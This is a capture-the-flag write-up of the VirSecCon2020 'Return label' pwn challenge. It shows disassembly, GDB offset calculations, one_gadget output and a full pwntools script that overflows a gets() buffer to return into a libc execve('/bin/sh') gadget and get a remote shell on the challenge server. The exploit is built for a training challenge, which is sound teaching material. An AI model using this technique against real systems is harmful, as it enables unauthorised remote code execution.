Return label was fourth pwn challenge from VirSecCon2020. The challenge provided a binary and a challenge server. Running the binary gives us the address for printf in libc and asks where we should send a package (seen below).
michael@computer:~/Documents/CTF/virseccon/retlab$ ./challenge
Where should we send your package (printf is at 00007f580de11e80)?
Running radare2 on the binary we can list out the functions (seen below).
[0x000006c0]> afl
0x00000000 2 25 sym.imp.__libc_start_main
0x00000638 3 23 sym._init
0x00000660 1 6 sym.imp.puts
0x00000670 1 6 sym.imp.printf
0x00000680 1 6 sym.imp.gets
0x00000690 1 6 sym.imp.fflush
0x000006a0 1 6 sym.imp.dlsym
0x000006b0 1 6 sub.__cxa_finalize_248_6b0
0x000006c0 1 43 entry0
0x000006f0 4 50 -> 40 sym.deregister_tm_clones
0x00000730 4 66 -> 57 sym.register_tm_clones
0x00000780 4 49 sym.__do_global_dtors_aux
0x000007c0 1 10 entry1.init
0x000007ca 1 118 sym.vuln
0x00000840 1 27 sym.main
0x00000860 4 101 sym.__libc_csu_init
0x000008d0 1 2 sym.__libc_csu_fini
0x000008d4 1 9 sym._fini
Seeing that there is no “flag” or “secret” functions we can safely assume that we will need to return to somewhere useful inside of libc. Looking at the code for main, we can see that it simply calls “vuln”.
[0x00000840]> pdf
;-- main:
/ (fcn) sym.main 27
| sym.main ();
| ; var int local_10h @ rbp-0x10
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x000006dd (entry0)
| 0x00000840 55 push rbp
| 0x00000841 4889e5 mov rbp, rsp
| 0x00000844 4883ec10 sub rsp, 0x10
| 0x00000848 897dfc mov dword [local_4h], edi
| 0x0000084b 488975f0 mov qword [local_10h], rsi
| 0x0000084f e876ffffff call sym.vuln
| 0x00000854 b800000000 mov eax, 0
| 0x00000859 c9 leave
\ 0x0000085a c3 ret
Looking at the code for vuln, we can see a call to the dangerous “gets” function which does not check buffer size before writing (leading to a buffer overflow). Now that we have an idea of what we need to do we can use the one_gadget tool to find an offset that will give us RCE (seen below). Since the challenge did not provide a libc, I just used the libc included in my Ubuntu distribution, and it worked!
michael@computer:~/Documents/CTF/virseccon/retlab$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x45216 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
We will keep these in mind. Next I launched GDB to find the offset between libc base and printf. I also calculated the amount of characters we need to write before reaching the return pointer.
(gdb) x printf
0x7ffff7835800 <__printf>: 0xd8ec8148
(gdb) i proc mapping
process 9919
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555555554000 0x555555555000 0x1000 0x0 /home/michael/Documents/CTF/virseccon/retlab/challenge
0x555555754000 0x555555755000 0x1000 0x0 /home/michael/Documents/CTF/virseccon/retlab/challenge
0x555555755000 0x555555756000 0x1000 0x1000 /home/michael/Documents/CTF/virseccon/retlab/challenge
0x7ffff77e0000 0x7ffff79c7000 0x1e7000 0x0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff79c7000 0x7ffff7bc7000 0x200000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
(gdb) c
Continuing.
Where should we send your package (printf is at 00007ffff7844e80)?
AAAA
Breakpoint 2, 0x000055555555481f in vuln ()
(gdb) x/xg $rsp
0x7fffffffde10: 0x0000000041414141
(gdb) c
Continuing.
Breakpoint 3, 0x000055555555483f in vuln ()
(gdb) x/xg $rsp
0x7fffffffdea8: 0x0000555555554854
(gdb) q
michael@computer:~/Documents/CTF/virseccon/retlab$ python
Python 2.7.17 (default, Nov 7 2019, 10:07:09)
[GCC 7.4.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7ffff7835800 - 0x7ffff77e0000
350208
>>> 0x7fffffffdea8 - 0x7fffffffde10
152
Okay, looks like we need to write 152 characters before the gadget address. We are finally ready to string everything together (as seen in the script below).
from pwn import *
r = remote('jh2i.com', 50005)
printf = int(r.recvuntil('?').split(' ')[9][:-2], 16)
libc_base = printf - 350208
gadget = libc_base + 0x45216
payload = 'A' * 152 + p64(gadget)
r.sendline(payload)
r.interactive()Running this gives us a prompt, which is a remote shell on the server!
michael@computer:~/Documents/CTF/virseccon/retlab$ python retlab.py
[+] Opening connection to jh2i.com on port 50005: Done
[*] Switching to interactive mode
$ id
uid=8888(pwn) gid=8888(pwn) groups=8888(pwn)
$ cat flag.txt
LLS{r0p_1s_fun}
We can use the shell to obtain the flag LLS{r0p_1s_fun}. I hope this was helpful!